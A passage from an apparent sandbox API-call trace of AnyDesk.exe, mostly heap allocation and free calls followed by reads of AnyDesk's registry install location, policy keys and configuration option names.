hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3a0 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3b0 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe167b0 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14438 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14438 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3b0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3b0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3c0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14470 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14470 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14470 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3c0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3c0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3d0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe144a8 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b3d0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe167b0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c380 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3d0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c398 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe167e0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe144a8 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe144a8 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3d0 | out: hHeap=0x3b0000) returned 1 [0189.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3d0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3e0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe144e0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b3d0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b3d0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3e0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3e0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3f0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b410 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe144e0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14d80 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c398 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3f0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c3b0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14da8 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b410 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe144e0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c3b0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3f0 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c3c8 | out: hHeap=0x3b0000) returned 1 [0189.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14518 | out: hHeap=0x3b0000) returned 1 [0189.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1a170 | out: hHeap=0x3b0000) returned 1 [0189.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b410 | out: hHeap=0x3b0000) returned 1 [0189.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c3c8 | out: hHeap=0x3b0000) returned 1 [0189.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12628 | out: hHeap=0x3b0000) returned 1 [0189.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3f0 | out: hHeap=0x3b0000) returned 1 [0189.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c3e0 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b450 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14518 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe167e0 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c3e0 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3f0 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c3f8 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16810 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1a170 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b450 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c3f8 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3f0 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c410 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b490 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12628 | out: hHeap=0x3b0000) returned 1 [0189.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1a170 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c410 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3f0 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c4f8 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1a1b8 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b490 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b490 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3f0 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3f0 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf400 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b4d0 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b4d0 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b4d0 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf400 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf400 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf410 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b510 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14da8 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14da8 | out: hHeap=0x3b0000) returned 1 [0189.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf410 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf410 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf420 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14dd0 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b510 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14518 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c4f8 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf420 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c510 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14550 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14550 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16810 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c510 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c4f8 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf420 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c528 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16840 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b510 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14550 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c510 | out: hHeap=0x3b0000) returned 1 [0189.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c528 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf420 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c540 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14588 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1a1b8 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b510 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c510 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c540 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf420 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c558 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b550 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1a1b8 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b550 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c510 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c558 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf420 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c570 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b590 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1a1b8 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b590 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c510 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c570 | out: hHeap=0x3b0000) returned 1 [0189.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf420 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c588 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b5d0 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b5d0 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14588 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c510 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c588 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf420 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c5a0 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe145c0 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b5d0 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe145c0 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c510 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c5a0 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf420 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c5b8 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe145f8 | out: hHeap=0x3b0000) returned 1 [0189.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe19410 | out: hHeap=0x3b0000) returned 1 [0189.945] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20019, phkResult=0x324c30 | out: phkResult=0x324c30*=0x178) returned 0x0 [0189.945] RegQueryValueExW (in: hKey=0x178, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x324bf8, lpData=0x0, lpcbData=0x324bfc*=0x0 | out: lpType=0x324bf8*=0x1, lpData=0x0, lpcbData=0x324bfc*=0x32) returned 0x0 [0189.945] RegQueryValueExW (in: hKey=0x178, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x0, lpData=0x324bb0, lpcbData=0x324bfc*=0x34 | out: lpType=0x0, lpData=0x324bb0*=0x22, lpcbData=0x324bfc*=0x32) returned 0x0 [0189.946] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x322bf4, nSize=0x1000 | out: lpFilename="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe")) returned 0x22 [0189.946] PathCanonicalizeW (in: pszBuf=0x324c58, pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" | out: pszBuf="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0189.946] PathCanonicalizeW (in: pszBuf=0x324e60, pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" | out: pszBuf="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0189.946] GetLastError () returned 0x0 [0189.946] RegCloseKey (hKey=0x178) returned 0x0 [0189.946] GetSystemTime (in: lpSystemTime=0x325004 | out: lpSystemTime=0x325004*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x143)) [0189.947] GetCurrentThreadId () returned 0x998 [0189.947] GetCurrentProcessId () returned 0x994 [0189.947] GetLastError () returned 0x0 [0189.948] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x325000 | out: phkResult=0x325000*=0x0) returned 0x2 [0189.948] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324ef0 | out: phkResult=0x324ef0*=0x0) returned 0x2 [0189.948] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x324eb8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ebc, lpcbMaxValueNameLen=0x324ec8, lpcbMaxValueLen=0x324ec4, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e8c | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x324eb8*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ebc*=0x0, lpcbMaxValueNameLen=0x324ec8, lpcbMaxValueLen=0x324ec4, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e8c) returned 0x6 [0189.948] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324ef0 | out: phkResult=0x324ef0*=0x0) returned 0x2 [0189.948] GetCurrentProcess () returned 0xffffffff [0189.948] GetProcessId (Process=0xffffffff) returned 0x994 [0189.949] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x324f08 | out: pSessionId=0x324f08) returned 1 [0189.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0ba88 [0189.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0baa8 [0189.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe0eda0 [0189.949] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ba88 | out: hHeap=0x3b0000) returned 1 [0189.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0ba88 [0189.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09f98 [0189.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe16660 [0189.949] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x324eb8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ebc, lpcbMaxValueNameLen=0x324ec8, lpcbMaxValueLen=0x324ec4, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e8c | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x324eb8*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x324ebc*=0x0, lpcbMaxValueNameLen=0x324ec8, lpcbMaxValueLen=0x324ec4, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x324e8c) returned 0x6 [0189.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0189.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0eda0 | out: hHeap=0x3b0000) returned 1 [0189.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b9e8 | out: hHeap=0x3b0000) returned 1 [0189.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b988 | out: hHeap=0x3b0000) returned 1 [0189.950] GetLastError () returned 0x0 [0189.950] GetSystemTime (in: lpSystemTime=0x325004 | out: lpSystemTime=0x325004*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x143)) [0189.950] GetCurrentThreadId () returned 0x998 [0189.950] GetCurrentProcessId () returned 0x994 [0189.950] GetLastError () returned 0x0 [0189.950] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x325000 | out: phkResult=0x325000*=0x0) returned 0x2 [0189.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe155a0 | out: hHeap=0x3b0000) returned 1 [0189.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00eec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0189.950] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe193c0 [0189.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00eec, cbMultiByte=-1, lpWideCharStr=0xe193c0, cchWideChar=33 | out: lpWideCharStr="ad.anynet.accept_volatile_tokens") returned 33 [0189.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14838 [0189.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2f448 [0189.951] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe193c0 | out: hHeap=0x3b0000) returned 1 [0189.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d81d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe14c40 [0189.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d81d0, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=16 | out: lpWideCharStr="ad.anynet.alias") returned 16 [0189.951] 